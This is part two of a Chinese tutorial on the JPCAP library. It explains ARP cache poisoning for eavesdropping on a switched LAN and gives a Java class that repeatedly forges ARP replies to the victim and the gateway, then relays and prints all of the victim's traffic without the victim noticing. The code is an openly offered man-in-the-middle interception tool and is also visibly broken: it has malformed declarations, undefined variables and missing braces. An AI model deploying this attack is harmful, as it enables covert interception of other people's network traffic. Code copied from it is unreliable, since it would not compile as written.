JPCAP——JAVA中的数据链路层控制之二

三．使用JPCAP 实现监听

       1 ．监听原理

       在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

       局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

       假设本机为A，监听目标为B。

首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

 

ARP 数据包解析

单元： Byte

Ethernet 头部	ARP 数据部分
６	６	２	2	2	2	2	４	６	４	６
目标 MAC 地址	源地 MAC 地址	类型号 0x0800:ip 0x0806:ARP	局域网类型 以太网 0x0001	网络协议类型 IP 网络 0x0800	MAC/IP 地址长度，恒为 0x06/04	ARP 包类型 REPLY 0x0002	ARP 目标 IP 地址	ARP 目标 MAC 地址	ARP 源 IP 地址	ARP 源 MAC 地址

 

2 ．用JPCAP 实现监听

       就如上面说的，为了实现监听，我们必须做四件事：

A．发送ARP包修改B的ARP缓存表；

B．发送ARP包修改路由ARP缓存表；

C．转发B发过来的数据包；

D．转发路由发过来的数据包；

 

下面我们给个小小的例子说明怎样实现。

我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

public class changeARP{

         private NetworkInterface[] devices;                           // 设备列表

         private NetworkInterface device;                               // 要使用的设备

         private JpcapCaptor jpcap;                                        // 与设备的连接

         private JpcapSender sender;                                       // 用于发送的实例

         private byte[] targetMAC, gateMAC;                       //B 的 MAC 地址，网关的 MAC 地址

         private byte[] String targetIp, String gateIp;              //B 的 IP 地址，网关的 IP 地址

         /**

         * 初始化设备

         * JpcapCaptor.getDeviceList() 得到设备可能会有两个，其中一个必定是“ Generic

*dialup adapter ”， 这是 windows 系统的虚拟网卡，并非真正的硬件设备。

* 注意：在这里有一个小小的 BUG ，如果 JpcapCaptor.getDeviceList() 之前有类似 JFrame jf=new

*JFame （）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。

* 虚拟网卡只有 MAC 地址而没有 IP 地址，而且如果出现虚拟网卡，那么实际网卡的 MAC 将分

* 配给虚拟网卡，也就是说在程序中调用 device. mac_address 时得到的是 00 00 00 00 00 00 。

         */

         private NetworkInterface getDevice() throws IOException {

                  devices = JpcapCaptor.getDeviceList();                                                 // 获得设备列表

                   device = devices[0];                                                                                // 只有一个设备

                   jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             // 打开与设备的连接

                   jpcap.setFilter(“ip”,true);                                                                       // 只监听 B 的 IP 数据包

                   sender = captor.getJpcapSenderInstance();

         }

         /**

         * 修改 B 和网关的 ARP 表。因为网关会定时发数据包刷新自己和 B 的缓存表，所以必须每隔一

         * 段时间就发一次包重新更改 B 和网关的 ARP 表。

         *@ 参数 targetMAC           B 的 MAC 地址，可通过 ARP 解析得到；

         *@ 参数 targetIp                 B 的 IP 地址；

         *@ 参数 gateMAC              网关的 MAC 地址；

         *@ 参数 gateIp                     网关的 IP;

         */

         public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)

                            throws UnknownHostException,InterruptedException {

                   this. targetMAC =  targetMAC;

                   this. targetIp =  targetIp;

                   this. gateMAC = gateMAC;

                   this. gateIp = gateIp;

                   getDevice();

                   arpTarget = new ARPPacket();                                                     // 修改 B 的 ARP 表的 ARP 包

                   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          // 选择以太网类型 (Ethernet)

                   arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                // 选择 IP 网络协议类型

                   arpTarget.operation = ARPPacket.ARP_REPLY;                         // 选择 REPLY 类型

                   arpTarget.hlen = 6;                                                                        //MAC 地址长度固定 6 个字节

                   arpTarget.plen = 4;                                                                        //IP 地址长度固定 4 个字节

                   arpTarget.sender_hardaddr = device.mac_address;                       //A 的 MAC 地址

                   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       // 网关 IP

                   arpTarget.target_hardaddr = targetMAC;                                               //B 的 MAC 地址

                   arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B 的 IP

 

                   EthernetPacket ethToTarget = new EthernetPacket();                  // 创建一个以太网头

                   ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 选择以太包类型

                   ethToTarget.src_mac = device.mac_address;                                 //A 的 MAC 地址

                   ethToTarget.dst_mac = targetMAC;                                             //B 的 MAC 地址

                   arpTarget.datalink = ethToTarget;                                                 // 将以太头添加到 ARP 包前

 

                   arpGate = new ARPPacket();                                                                 // 修改网关 ARP 表的包

                   arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             // 跟以上相似，不再重复注析

                   arpGate.prototype = ARPPacket.PROTOTYPE_IP;

                   arpGate.operation = ARPPacket.ARP_REPLY;

                   arpGate.hlen = 6;

                   arpGate.plen = 4;

                   arpGate.sender_hardaddr = device.mac_address;

                   arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();

                   arpGate.target_hardaddr = gateMAC;

                   arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

 

                   EthernetPacket ethToGate = new EthernetPacket();

                   ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;

                   ethToGate.src_mac = device.mac_address;

                   ethToGate.dst_mac = gateMAC;

                   arpGate.datalink = ethToGate;

                  

                   thread=new Thread(new Runnable(){                                 // 创建一个进程控制发包速度

                            public void run() {

                                      while (true) {

                                               sender.sendPacket(arpTarget);

                                               sender.sendPacket(arpGate);

                                               Thread.sleep(500);

                   }).start();

                   recP();                                                                                   // 接收数据包并转发

}

/**

* 修改包的以太头，转发数据包

* 参数 packet               收到的数据包

* 参数 changeMAC     要转发出去的目标

*/

private void send(Packet packet, byte[] changeMAC) {                      

                   EthernetPacket eth;

                   if (packet.datalink instanceof EthernetPacket) {

                            eth = (EthernetPacket) packet.datalink;

                            for (int i = 0; i < 6; i++) {

                                     eth.dst_mac[i] = changeMAC[i];                      // 修改包以太头，改变包的目标

                                     eth.src_mac[i] = device.mac_address[i];            // 源发送者为 A

                            }

                            sender.sendPacket(packet);

                   }

}

/**

* 打印接受到的数据包并转发

*/

public void recP(){

         IPPacket ipPacket = null;

         while(true){

                  ipPacket = （ IPPacket ） jpcap.getPacket();

                            System.out.println(ipPacket);

                           if (ipPacket.src_ip.getHostAddress().equals(targetIp))

                                     send(packet, gateMAC);

                            else

                                     send(packet, targetMAC);

                   }

}

 

注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。

 

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